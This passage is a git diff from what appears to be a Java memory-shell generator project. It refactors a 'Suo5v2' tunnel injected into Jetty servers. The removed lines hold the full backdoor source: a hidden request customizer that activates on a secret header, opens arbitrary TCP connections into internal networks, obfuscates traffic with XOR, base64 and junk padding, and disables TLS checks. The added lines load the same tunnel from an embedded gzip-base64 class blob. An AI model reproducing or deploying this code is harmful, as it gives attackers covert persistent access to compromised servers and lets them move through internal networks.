u.openConnection(); - conn.setRequestMethod(method); - try { - // conn.setConnectTimeout(3000); - conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); - // conn.setReadTimeout(0); - conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); - } catch (Exception e) { - // java1.4 - } - conn.setDoOutput(true); - conn.setDoInput(true); - - // ignore ssl verify - // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java - if (HttpsURLConnection.class.isInstance(conn)) { - ((HttpsURLConnection) conn).setHostnameVerifier(this); - SSLContext sslCtx = SSLContext.getInstance("SSL"); - sslCtx.init(null, new TrustManager[]{this}, null); - ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); - } - - Enumeration headers = request.getHeaderNames(); - while (headers.hasMoreElements()) { - String k = (String) headers.nextElement(); - if (k.equalsIgnoreCase("Content-Length")) { - conn.setRequestProperty(k, String.valueOf(body.length)); - } else if (k.equalsIgnoreCase("Host")) { - conn.setRequestProperty(k, u.getHost()); - } else if (k.equalsIgnoreCase("Connection")) { - conn.setRequestProperty(k, "close"); - } else if (k.equalsIgnoreCase("Content-Encoding") || k.equalsIgnoreCase("Transfer-Encoding")) { - continue; - } else { - conn.setRequestProperty(k, request.getHeader(k)); - } - } - - OutputStream rout = conn.getOutputStream(); - rout.write(body); - rout.flush(); - rout.close(); - conn.getResponseCode(); - return conn; - } - - - private byte[] toByteArray(InputStream in) { - try { - ByteArrayOutputStream baos = new ByteArrayOutputStream(); + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); byte[] buffer = new byte[4096]; - - int len; - while ((len = in.read(buffer)) != -1) { - baos.write(buffer, 0, len); + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); } - - return baos.toByteArray(); - } catch (IOException var5) { - return new byte[0]; - } - } - - private void readFull(InputStream is, byte[] b) throws IOException { - int bufferOffset = 0; - while (bufferOffset < b.length) { - int readLength = b.length - bufferOffset; - int readResult = is.read(b, bufferOffset, readLength); - if (readResult == -1) { - throw new IOException("stream EOF"); - } - bufferOffset += readResult; - } - } - - public HashMap newDirtyChunk(int size) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x11}); - if (size > 0) { - byte[] data = new byte[size]; - new Random().nextBytes(data); - m.put("d", data); - } - return m; - } - - private HashMap newData(String tunId, byte[] data) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x01}); - m.put("dt", data); - m.put("id", tunId.getBytes()); - return m; - } - - private HashMap newDel(String tunId) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x02}); - m.put("id", tunId.getBytes()); - return m; - } - - private HashMap newStatus(String tunId, byte b) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x03}); - m.put("s", new byte[]{b}); - m.put("id", tunId.getBytes()); - return m; - } - - private HashMap newHeartbeat(String tunId) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x10}); - m.put("id", tunId.getBytes()); - return m; - } - - private byte[] u32toBytes(int i) { - byte[] result = new byte[4]; - result[0] = (byte) (i >> 24); - result[1] = (byte) (i >> 16); - result[2] = (byte) (i >> 8); - result[3] = (byte) (i /*>> 0*/); - return result; - } - - private int bytesToU32(byte[] bytes) { - return ((bytes[0] & 0xFF) << 24) | - ((bytes[1] & 0xFF) << 16) | - ((bytes[2] & 0xFF) << 8) | - ((bytes[3] & 0xFF) << 0); - } - - private void putKey(String k, Object v) { - ctx.put(k, v); - } - - private Object getKey(String k) { - return ctx.get(k); - } - - private void removeKey(String k) { - ctx.remove(k); - } - - private byte[] copyOfRange(byte[] original, int from, int to) { - int newLength = to - from; - if (newLength < 0) { - throw new IllegalArgumentException(from + " > " + to); - } - byte[] copy = new byte[newLength]; - int copyLength = Math.min(original.length - from, newLength); - // can't use System.arraycopy, there is no system in some environment - // System.arraycopy(original, from, copy, 0, copyLength); - for (int i = 0; i < copyLength; i++) { - copy[i] = original[from + i]; - } - return copy; - } - - private String base64UrlEncode(byte[] bs) throws Exception { - Class base64; - String value = null; - try { - base64 = Class.forName("java.util.Base64"); - Object Encoder = base64.getMethod("getEncoder", new Class[0]) - .invoke(base64, new Object[0]); - value = (String) Encoder.getClass() - .getMethod("encodeToString", new Class[]{byte[].class}) - .invoke(Encoder, new Object[]{bs}); - } catch (Exception e) { - try { - base64 = Class.forName("sun.misc.BASE64Encoder"); - Object Encoder = base64.newInstance(); - value = (String) Encoder.getClass() - .getMethod("encode", new Class[]{byte[].class}) - .invoke(Encoder, new Object[]{bs}); - value = value.replaceAll("\\s+", ""); - } catch (Exception e2) { - } - } - if (value != null) { - value = value.replace('+', '-').replace('/', '_'); - while (value.endsWith("=")) { - value = value.substring(0, value.length() - 1); - } - } - return value; - } - - - private byte[] base64UrlDecode(String bs) throws Exception { - if (bs == null) { - return null; - } - bs = bs.replace('-', '+').replace('_', '/'); - while (bs.length() % 4 != 0) { - bs += "="; - } - - Class base64; - byte[] value = null; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", new Class[0]).invoke(base64, new Object[0]); - value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); - } catch (Exception e) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); - } catch (Exception e2) { - } - } - return value; - } - - private byte[] marshalBase64(HashMap m) throws Exception { - // add some junk data, 0~16 random size - Random random = new Random(); - int junkSize = random.nextInt(32); - if (junkSize > 0) { - byte[] junk = new byte[junkSize]; - random.nextBytes(junk); - m.put("_", junk); - } - - ByteArrayOutputStream buf = new ByteArrayOutputStream(); - Object[] keys = m.keySet().toArray(); - for (int i = 0; i < keys.length; i++) { - String key = (String) keys[i]; - byte[] value = (byte[]) m.get(key); - buf.write((byte) key.length()); - buf.write(key.getBytes()); - buf.write(u32toBytes(value.length)); - buf.write(value); - } - - // xor key - byte[] key = new byte[2]; - key[0] = (byte) ((Math.random() * 255) + 1); - key[1] = (byte) ((Math.random() * 255) + 1); - - byte[] data = buf.toByteArray(); - for (int i = 0; i < data.length; i++) { - data[i] = (byte) (data[i] ^ key[i % 2]); - } - data = base64UrlEncode(data).getBytes(); - - ByteBuffer dbuf = ByteBuffer.allocate(6); - dbuf.put(key); - dbuf.putInt(data.length); - byte[] headerData = dbuf.array(); - for (int i = 2; i < 6; i++) { - headerData[i] = (byte) (headerData[i] ^ key[i % 2]); - } - headerData = base64UrlEncode(headerData).getBytes(); - dbuf = ByteBuffer.allocate(8 + data.length); - dbuf.put(headerData); - dbuf.put(data); - return dbuf.array(); - } - - private HashMap unmarshalBase64(InputStream in) throws Exception { - HashMap m = new HashMap(); - byte[] header = new byte[8]; // base64 header - readFull(in, header); - header = base64UrlDecode(new String(header)); - if (header == null || header.length == 0) { - return m; - } - byte[] xor = new byte[]{header[0], header[1]}; - for (int i = 2; i < 6; i++) { - header[i] = (byte) (header[i] ^ xor[i % 2]); - } - ByteBuffer bb = ByteBuffer.wrap(header, 2, 4); - int len = bb.getInt(); - if (len > 1024 * 1024 * 32) { - throw new IOException("invalid len"); - } - byte[] bs = new byte[len]; - readFull(in, bs); - bs = base64UrlDecode(new String(bs)); - for (int i = 0; i < bs.length; i++) { - bs[i] = (byte) (bs[i] ^ xor[i % 2]); - } - - byte[] buf; - for (int i = 0; i < bs.length; ) { - int kLen = bs[i] & 0xFF; - i += 1; - if (i + kLen > bs.length) { - throw new Exception("key len error"); - } - buf = copyOfRange(bs, i, i + kLen); - String key = new String(buf); - i += kLen; - - if (i + 4 > bs.length) { - throw new Exception("value len error"); - } - buf = copyOfRange(bs, i, i + 4); - int vLen = bytesToU32(buf); - i += 4; - if (vLen < 0) { - throw new Exception("value error"); - } - - if (i + vLen > bs.length) { - throw new Exception("value error"); - } - byte[] value = copyOfRange(bs, i, i + vLen); - i += vLen; - - m.put(key, value); - } - return m; - } - - private String randomString(int length) { - if (length <= 0) { - return ""; - } - Random random = new Random(); - char[] randomChars = new char[length]; - for (int i = 0; i < length; i++) { - int randomIndex = random.nextInt(CHARACTERS_LENGTH); - randomChars[i] = CHARACTERS.charAt(randomIndex); - } - return new String(randomChars); - } - - public boolean verify(String hostname, SSLSession session) { - return true; - } - - public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { - } - - public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { - } - - public X509Certificate[] getAcceptedIssuers() { - return new X509Certificate[0]; - } - - public void run() { - // full stream - if (this.mode == 0) { - try { - pipeStream(gInStream, gOutStream, true); - } catch (Exception ignore) { - } - return; - } - - Object[] objs = (Object[]) getKey(this.gtunId); - if (objs == null || objs.length != 3) { - - return; - } - SocketChannel sc = (SocketChannel) objs[0]; - BlockingQueue readQueue = (BlockingQueue) objs[1]; - BlockingQueue writeQueue = (BlockingQueue) objs[2]; - boolean selfClean = false; - - try { - if (mode == 1) { - // read thread - ByteBuffer buffer = ByteBuffer.allocate(BUF_SIZE); - while (true) { - byte[] data = readSocketChannel(sc, buffer); - if (data.length == 0) { - break; - } - if (!readQueue.offer(data, 60, TimeUnit.SECONDS)) { - selfClean = true; - break; - } - } - } else { - // write thread - while (true) { - byte[] data = writeQueue.poll(300, TimeUnit.SECONDS); - if (data == null || data.length == 0) { - selfClean = true; - break; - } - ByteBuffer buf = ByteBuffer.wrap(data); - while (buf.hasRemaining()) { - sc.write(buf); - } - } - } - } catch (Exception e) { + return out.toByteArray(); } finally { - if (selfClean) { - - removeKey(this.gtunId); + if (gzipInputStream != null) { + gzipInputStream.close(); } - readQueue.clear(); - writeQueue.clear(); - try { - writeQueue.put(new byte[0]); - sc.close(); - } catch (Exception ignore) { - } - + out.close(); } } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyCustomizer.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyCustomizer.java index 0067c18f..20134b97 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyCustomizer.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyCustomizer.java @@ -4,95 +4,43 @@ import org.eclipse.jetty.server.HttpConfiguration; import org.eclipse.jetty.server.Request; -import javax.net.ssl.*; -import java.io.*; -import java.lang.reflect.Field; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; import java.lang.reflect.Method; -import java.net.*; -import java.nio.ByteBuffer; -import java.nio.channels.SocketChannel; -import java.security.cert.CertificateException; -import java.security.cert.X509Certificate; -import java.util.Enumeration; -import java.util.HashMap; -import java.util.Hashtable; -import java.util.Random; -import java.util.concurrent.BlockingQueue; -import java.util.concurrent.LinkedBlockingQueue; -import java.util.concurrent.TimeUnit; +import java.util.zip.GZIPInputStream; /** * @author ReaJason * @since 2025/12/9 */ -public class Suo5v2JettyCustomizer implements HttpConfiguration.Customizer, Runnable, HostnameVerifier, X509TrustManager { - public static String headerName; - public static String headerValue; - private static HashMap addrs = collectAddr(); - private static Hashtable ctx = new Hashtable(); - private static ThreadLocal once = new ThreadLocal(); - - private final String CHARACTERS = "abcdefghijklmnopqrstuvwxyz0123456789"; - private final int CHARACTERS_LENGTH = CHARACTERS.length(); - private final int BUF_SIZE = 1024 * 16; - - private InputStream gInStream; - private OutputStream gOutStream; - private String gtunId; - private int mode = 0; +public class Suo5v2JettyCustomizer extends ClassLoader implements HttpConfiguration.Customizer { + private static Class suo5V2Class; + private static String suo5V2GZipBase64; public Suo5v2JettyCustomizer() { } - public Suo5v2JettyCustomizer(InputStream in, OutputStream out, String tunId) { - this.gInStream = in; - this.gOutStream = out; - this.gtunId = tunId; - } - - public Suo5v2JettyCustomizer(String tunId, int mode) { - this.gtunId = tunId; - this.mode = mode; + protected Suo5v2JettyCustomizer(ClassLoader parent) { + super(parent); } // jetty9+ public void customize(Connector connector, HttpConfiguration channelConfig, Request request) { try { Object response = invokeMethod(request, "getResponse"); - String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); - if (value != null && value.contains(headerValue)) { - new Suo5v2JettyCustomizer().process(request, response); + if (suo5V2Class == null) { + byte[] bytes = gzipDecompress(decodeBase64(suo5V2GZipBase64)); + suo5V2Class = new Suo5v2JettyCustomizer(Thread.currentThread().getContextClassLoader()).defineClass(bytes, 0, bytes.length); + } + if (suo5V2Class.newInstance().equals(new Object[]{request, response})) { invokeMethod(request, "setHandled", new Class[]{boolean.class}, new Object[]{true}); + return; } } catch (Throwable ignored) { } } - @SuppressWarnings("all") - public Object unwrap(Object obj, String fieldName) { - try { - return getFieldValue(obj, fieldName); - } catch (Throwable e) { - return obj; - } - } - - @SuppressWarnings("all") - public static Object getFieldValue(Object obj, String name) throws Exception { - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - Field field = clazz.getDeclaredField(name); - field.setAccessible(true); - return field.get(obj); - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); - } - - @SuppressWarnings("all") public static Object invokeMethod(Object obj, String methodName) { return invokeMethod(obj, methodName, null, null); } @@ -123,1005 +71,37 @@ public static Object invokeMethod(Object obj, String methodName, Class[] para } } - private void process(Object request, Object response) { - String sid = null; - byte[] bodyPrefix = new byte[0]; - try { - InputStream reqInputStream = (InputStream) request.getClass().getMethod("getInputStream").invoke(request); - HashMap dataMap = unmarshalBase64(reqInputStream); - - byte[] modeData = (byte[]) dataMap.get("m"); - byte[] actionData = (byte[]) dataMap.get("ac"); - byte[] tunIdData = (byte[]) dataMap.get("id"); - byte[] sidData = (byte[]) dataMap.get("sid"); - if (actionData == null || actionData.length != 1 || tunIdData == null || tunIdData.length == 0 || modeData == null || modeData.length == 0) { - return; - } - if (sidData != null && sidData.length > 0) { - sid = new String(sidData); - } - - String tunId = new String(tunIdData); - byte mode = modeData[0]; - switch (mode) { - case 0x00: - sid = randomString(16); - processHandshake(request, response, dataMap, tunId, sid); - break; - case 0x01: - setBypassHeader(response); - processFullStream(request, response, dataMap, tunId); - break; - case 0x02: - setBypassHeader(response); - // don't break here, continue to process - case 0x03: - byte[] bodyContent = toByteArray(reqInputStream); - if (processRedirect(request, response, dataMap, bodyPrefix, bodyContent)) { - - break; - } - - if (sidData == null || sidData.length == 0 || getKey(new String(sidData)) == null) { - // send to wrong node, client should retry - response.getClass().getMethod("setStatus", int.class).invoke(response, 403); - return; - } - - InputStream bodyStream = new ByteArrayInputStream(bodyContent); - int dirySize = getDirtySize(sid); - - if (mode == 0x02) { - // half mode - writeAndFlush(response, processTemplateStart(response, new String(sidData)), dirySize); - do { - processHalfStream(request, response, dataMap, tunId, dirySize); - try { - dataMap = unmarshalBase64(bodyStream); - if (dataMap.isEmpty()) { - break; - } - tunId = new String((byte[]) dataMap.get("id")); - } catch (Exception e) { - break; - } - } while (true); - writeAndFlush(response, processTemplateEnd(sid), dirySize); - - } else { - // classic mode - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - baos.write(processTemplateStart(response, new String(sidData))); - - do { - processClassic(request, baos, dataMap, tunId); - try { - dataMap = unmarshalBase64(bodyStream); - if (dataMap.isEmpty()) { - break; - } - tunId = new String((byte[]) dataMap.get("id")); - } catch (Exception e) { - break; - } - } while (true); - - baos.write(processTemplateEnd(sid)); - response.getClass().getMethod("setContentLength", int.class).invoke(response, baos.size()); - writeAndFlush(response, baos.toByteArray(), 0); - } - - break; - default: - } - } catch (Throwable ignored) { - } finally { - try { - OutputStream out = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response); - out.flush(); - out.close(); - } catch (Throwable ignore) {} - } - } - - private void setBypassHeader(Object resp) throws Exception { - resp.getClass().getMethod("setBufferSize", int.class).invoke(resp, BUF_SIZE); - resp.getClass().getMethod("setHeader", String.class, String.class).invoke(resp, "X-Accel-Buffering", "no"); - } - - private byte[] processTemplateStart(Object resp, String sid) throws Exception { - byte[] data = new byte[0]; - Object o = getKey(sid); - if (o == null) { - - return data; - } - String[] tplParts = (String[]) o; - if (tplParts.length != 3) { - return data; - } - resp.getClass().getMethod("setHeader", String.class, String.class).invoke(resp, "Content-Type", tplParts[0]); - return tplParts[1].getBytes(); - } - - private byte[] processTemplateEnd(String sid) { - byte[] data = new byte[0]; - Object o = getKey(sid); - if (o == null) { - return data; - } - String[] tplParts = (String[]) o; - if (tplParts.length != 3) { - return data; - } - - return tplParts[2].getBytes(); - } - - private int getDirtySize(String sid) { - Object o = getKey(sid + "_jk"); - if (o == null) { - return 0; - } - return (Integer) o; - } - - private boolean processRedirect(Object req, Object resp, HashMap dataMap, byte[] bodyPrefix, byte[] bodyContent) throws Exception { - byte[] redirectData = (byte[]) dataMap.get("r"); - dataMap.remove("r"); - // load balance, send request with data to request url - boolean needRedirect = redirectData != null && redirectData.length > 0; - if (needRedirect && !isLocalAddr(new String(redirectData))) { - HttpURLConnection conn = null; - try { - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - baos.write(bodyPrefix); - baos.write(marshalBase64(dataMap)); - baos.write(bodyContent); - byte[] newBody = baos.toByteArray(); - conn = redirect(req, new String(redirectData), newBody); - OutputStream out = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); - pipeStream(conn.getInputStream(), out, false); - } finally { - if (conn != null) { - conn.disconnect(); - } - } - return true; - } - return false; - } - - private void processHandshake(Object req, Object resp, HashMap dataMap, String tunId, String sid) throws Exception { - byte[] redirectData = (byte[]) dataMap.get("r"); - boolean needRedirect = redirectData != null && redirectData.length > 0; - if (needRedirect && !isLocalAddr(new String(redirectData))) { - resp.getClass().getMethod("setStatus", int.class).invoke(resp, 403); - return; - } - - byte[] tplData = (byte[]) dataMap.get("tpl"); - byte[] contentTypeData = (byte[]) dataMap.get("ct"); - if (tplData != null && tplData.length > 0 && contentTypeData != null && contentTypeData.length > 0) { - String tpl = new String(tplData); - String[] parts = tpl.split("#data#", 2); - putKey(sid, new String[]{new String(contentTypeData), parts[0], parts[1]}); - } else { - putKey(sid, new String[0]); - } - - byte[] dirtySizeData = (byte[]) dataMap.get("jk"); - if (dirtySizeData != null && dirtySizeData.length > 0) { - int dirtySize = 0; - try { - dirtySize = Integer.parseInt(new String(dirtySizeData)); - } catch (NumberFormatException e) { - - } - if (dirtySize < 0) { - dirtySize = 0; - } - putKey(sid + "_jk", dirtySize); - } - - byte[] isAutoData = (byte[]) dataMap.get("a"); - boolean isAuto = isAutoData != null && isAutoData.length > 0 && isAutoData[0] == 0x01; - if (isAuto) { - setBypassHeader(resp); - writeAndFlush(resp, processTemplateStart(resp, sid), 0); - - // write the body string to verify - writeAndFlush(resp, marshalBase64(newData(tunId, (byte[]) dataMap.get("dt"))), 0); - - Thread.sleep(2000); - - // write again to identify streaming response - writeAndFlush(resp, marshalBase64(newData(tunId, sid.getBytes())), 0); - writeAndFlush(resp, processTemplateEnd(sid), 0); - } else { - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - baos.write(processTemplateStart(resp, sid)); - baos.write(marshalBase64(newData(tunId, (byte[]) dataMap.get("dt")))); - baos.write(marshalBase64(newData(tunId, sid.getBytes()))); - baos.write(processTemplateEnd(sid)); - resp.getClass().getMethod("setContentLength", int.class).invoke(resp, baos.size()); - writeAndFlush(resp, baos.toByteArray(), 0); - } - } - - private void processFullStream(Object req, Object resp, HashMap dataMap, String tunId) throws Exception { - InputStream reqInputStream = (InputStream) req.getClass().getMethod("getInputStream").invoke(req); - String host = new String((byte[]) dataMap.get("h")); - int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); - if (port == 0) { - port = getServerPort(req); - } - - Socket socket = null; - - try { - socket = new Socket(); - socket.setTcpNoDelay(true); - socket.setReceiveBufferSize(128 * 1024); - socket.setSendBufferSize(128 * 1024); - socket.connect(new InetSocketAddress(host, port), 5000); - writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x00)), 0); - } catch (Exception e) { - e.printStackTrace(); - if (socket != null) { - socket.close(); - } - writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x01)), 0); - return; - } - - - Thread t = null; - boolean sendClose = true; - try { - final OutputStream scOutStream = socket.getOutputStream(); - final InputStream scInStream = socket.getInputStream(); - final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); - - Suo5v2JettyCustomizer p = new Suo5v2JettyCustomizer(scInStream, respOutputStream, tunId); - t = new Thread(p); - t.start(); - - while (true) { - HashMap newData = unmarshalBase64(reqInputStream); - if (newData.isEmpty()) { - break; - } - byte action = ((byte[]) newData.get("ac"))[0]; - switch (action) { - case 0x00: - case 0x02: - sendClose = false; - break; - case 0x01: - byte[] data = (byte[]) newData.get("dt"); - if (data.length != 0) { - scOutStream.write(data); - scOutStream.flush(); - } - break; - case 0x10: - writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), 0); - break; - default: - } - } - } catch (Exception ignored) { - } finally { - - try { - socket.close(); - } catch (Exception ignored) { - } - - if (sendClose) { - writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); - } - if (t != null) { - t.join(); - } - - } - } - - private void processHalfStream(Object req, Object resp, HashMap dataMap, String tunId, int dirtySize) throws Exception { - boolean newThread = false; - boolean sendClose = true; - - try { - byte action = ((byte[]) dataMap.get("ac"))[0]; - switch (action) { - case 0x00: - byte[] createData = performCreate(req, dataMap, tunId, newThread); - writeAndFlush(resp, createData, dirtySize); - - Object[] objs = (Object[]) getKey(tunId); - if (objs == null) { - throw new IOException("tunnel not found"); - } - SocketChannel sc = (SocketChannel) objs[0]; - ByteBuffer buffer = ByteBuffer.allocate(BUF_SIZE); - while (true) { - try { - byte[] data = readSocketChannel(sc, buffer); - if (data.length == 0) { - break; - } - writeAndFlush(resp, marshalBase64(newData(tunId, data)), dirtySize); - } catch (Exception e) { -// - break; - } - } - break; - case 0x01: - performWrite(dataMap, tunId, newThread); - break; - case 0x02: - - sendClose = false; - performDelete(tunId); - break; - case 0x10: - writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), dirtySize); - break; - } - - } catch (Exception e) { - - performDelete(tunId); - if (sendClose) { - writeAndFlush(resp, marshalBase64(newDel(tunId)), dirtySize); - } - } - } - - private void processClassic(Object req, ByteArrayOutputStream respBodyStream, HashMap dataMap, String tunId) throws - Exception { - boolean sendClose = true; - boolean newThread = true; - - try { - byte action = ((byte[]) dataMap.get("ac"))[0]; - switch (action) { - case 0x00: - byte[] createData = performCreate(req, dataMap, tunId, newThread); - respBodyStream.write(createData); - break; - case 0x01: - performWrite(dataMap, tunId, newThread); - byte[] readData = performRead(tunId); - respBodyStream.write(readData); - break; - case 0x02: - sendClose = false; - performDelete(tunId); - break; - } - - } catch (Exception e) { - - performDelete(tunId); - if (sendClose) { - respBodyStream.write(marshalBase64(newDel(tunId))); - } - } - } - - private void writeAndFlush(Object resp, byte[] data, int dirtySize) throws Exception { - if (data == null || data.length == 0) { - return; - } - OutputStream out = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); - out.write(data); - if (dirtySize != 0) { - out.write(marshalBase64(newDirtyChunk(dirtySize))); - } - out.flush(); - resp.getClass().getMethod("flushBuffer").invoke(resp); - } - - private byte[] performCreate(Object request, HashMap dataMap, String tunId, boolean newThread) throws Exception { - String host = new String((byte[]) dataMap.get("h")); - int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); - if (port == 0) { - port = getServerPort(request); - } - - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - SocketChannel socketChannel = null; - HashMap resultData = null; - try { - socketChannel = SocketChannel.open(); - socketChannel.socket().setTcpNoDelay(true); - socketChannel.socket().setReceiveBufferSize(128 * 1024); - socketChannel.socket().setSendBufferSize(128 * 1024); - socketChannel.socket().connect(new InetSocketAddress(host, port), 3000); - socketChannel.configureBlocking(true); - resultData = newStatus(tunId, (byte) 0x00); - BlockingQueue readQueue = new LinkedBlockingQueue(100); - BlockingQueue writeQueue = new LinkedBlockingQueue(); - putKey(tunId, new Object[]{socketChannel, readQueue, writeQueue}); - if (newThread) { - new Thread(new Suo5v2JettyCustomizer(tunId, 1)).start(); - new Thread(new Suo5v2JettyCustomizer(tunId, 2)).start(); - } - } catch (Exception e) { - if (socketChannel != null) { - try { - socketChannel.close(); - } catch (Exception ignore) { - } - } - - resultData = newStatus(tunId, (byte) 0x01); - } - baos.write(marshalBase64(resultData)); - return baos.toByteArray(); - } - - private void performWrite(HashMap dataMap, String tunId, boolean newThread) throws Exception { - Object[] objs = (Object[]) getKey(tunId); - if (objs == null) { - throw new IOException("tunnel not found"); - } - SocketChannel sc = (SocketChannel) objs[0]; - if (!sc.isConnected()) { - throw new IOException("socket not connected"); - } - - byte[] data = (byte[]) dataMap.get("dt"); - if (data.length != 0) { - if (newThread) { - BlockingQueue writeQueue = (BlockingQueue) objs[2]; - writeQueue.put(data); - } else { - ByteBuffer buf = ByteBuffer.wrap(data); - while (buf.hasRemaining()) { - sc.write(buf); - } - } - } - } - - private byte[] performRead(String tunId) throws Exception { - Object[] objs = (Object[]) getKey(tunId); - if (objs == null) { - throw new IOException("tunnel not found"); - } - SocketChannel sc = (SocketChannel) objs[0]; - if (!sc.isConnected()) { - throw new IOException("socket not connected"); - } - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - BlockingQueue readQueue = (BlockingQueue) objs[1]; - int maxSize = 512 * 1024; // 1MB - int written = 0; - while (true) { - byte[] data = readQueue.poll(); - if (data != null) { - written += data.length; - baos.write(marshalBase64(newData(tunId, data))); - if (written >= maxSize) { - break; - } - } else { - break; // no more data - } - } - return baos.toByteArray(); - } - - private void performDelete(String tunId) { - Object[] objs = (Object[]) getKey(tunId); - if (objs != null) { - removeKey(tunId); - SocketChannel sc = (SocketChannel) objs[0]; - BlockingQueue writeQueue = (BlockingQueue) objs[2]; - try { - // trigger write thread to exit; - writeQueue.put(new byte[0]); - sc.close(); - } catch (Exception ignore) { - } - } - } - - private int getServerPort(Object request) throws Exception { - int port; - try { - port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); - } catch (Exception e) { - port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); - } - return port; - } - - private void pipeStream(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws Exception { - try { - byte[] readBuf = new byte[1024 * 8]; - while (true) { - int n = inputStream.read(readBuf); - if (n <= 0) { - break; - } - byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); - if (needMarshal) { - dataTmp = marshalBase64(newData(this.gtunId, dataTmp)); - } - outputStream.write(dataTmp); - outputStream.flush(); - } - } finally { - // don't close outputStream - if (inputStream != null) { - try { - inputStream.close(); - } catch (Exception ignore) { - } - } - } - } - - private byte[] readSocketChannel(SocketChannel socketChannel, ByteBuffer buffer) throws IOException { - buffer.clear(); - int bytesRead = socketChannel.read(buffer); - if (bytesRead <= 0) { // EOF or error - return new byte[0]; - } - - buffer.flip(); - byte[] data = new byte[buffer.remaining()]; - buffer.get(data); - return data; - } - - private static HashMap collectAddr() { - HashMap addrs = new HashMap(); - try { - Enumeration nifs = NetworkInterface.getNetworkInterfaces(); - while (nifs.hasMoreElements()) { - NetworkInterface nif = (NetworkInterface) nifs.nextElement(); - Enumeration addresses = nif.getInetAddresses(); - while (addresses.hasMoreElements()) { - InetAddress addr = (InetAddress) addresses.nextElement(); - String s = addr.getHostAddress(); - if (s != null) { - // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 - int ifaceIndex = s.indexOf('%'); - if (ifaceIndex != -1) { - s = s.substring(0, ifaceIndex); - } - addrs.put((Object) s, (Object) Boolean.TRUE); - } - } - } - } catch (Exception e) { - } - return addrs; - } - - private boolean isLocalAddr(String url) throws Exception { - String ip = (new URL(url)).getHost(); - return addrs.containsKey(ip); - } - - private HttpURLConnection redirect(Object request, String rUrl, byte[] body) throws Exception { - String method = (String) request.getClass().getMethod("getMethod").invoke(request); - URL u = new URL(rUrl); - HttpURLConnection conn = (HttpURLConnection) u.openConnection(); - conn.setRequestMethod(method); + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; try { - // conn.setConnectTimeout(3000); - conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); - // conn.setReadTimeout(0); - conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); - } catch (Exception e) { - // java1.4 - } - conn.setDoOutput(true); - conn.setDoInput(true); - - // ignore ssl verify - // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java - if (HttpsURLConnection.class.isInstance(conn)) { - ((HttpsURLConnection) conn).setHostnameVerifier(this); - SSLContext sslCtx = SSLContext.getInstance("SSL"); - sslCtx.init(null, new TrustManager[]{this}, null); - ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); - } - - Enumeration headers = (Enumeration) request.getClass().getMethod("getHeaderNames").invoke(request); - while (headers.hasMoreElements()) { - String k = (String) headers.nextElement(); - if (k.equalsIgnoreCase("Content-Length")) { - conn.setRequestProperty(k, String.valueOf(body.length)); - } else if (k.equalsIgnoreCase("Host")) { - conn.setRequestProperty(k, u.getHost()); - } else if (k.equalsIgnoreCase("Connection")) { - conn.setRequestProperty(k, "close"); - } else if 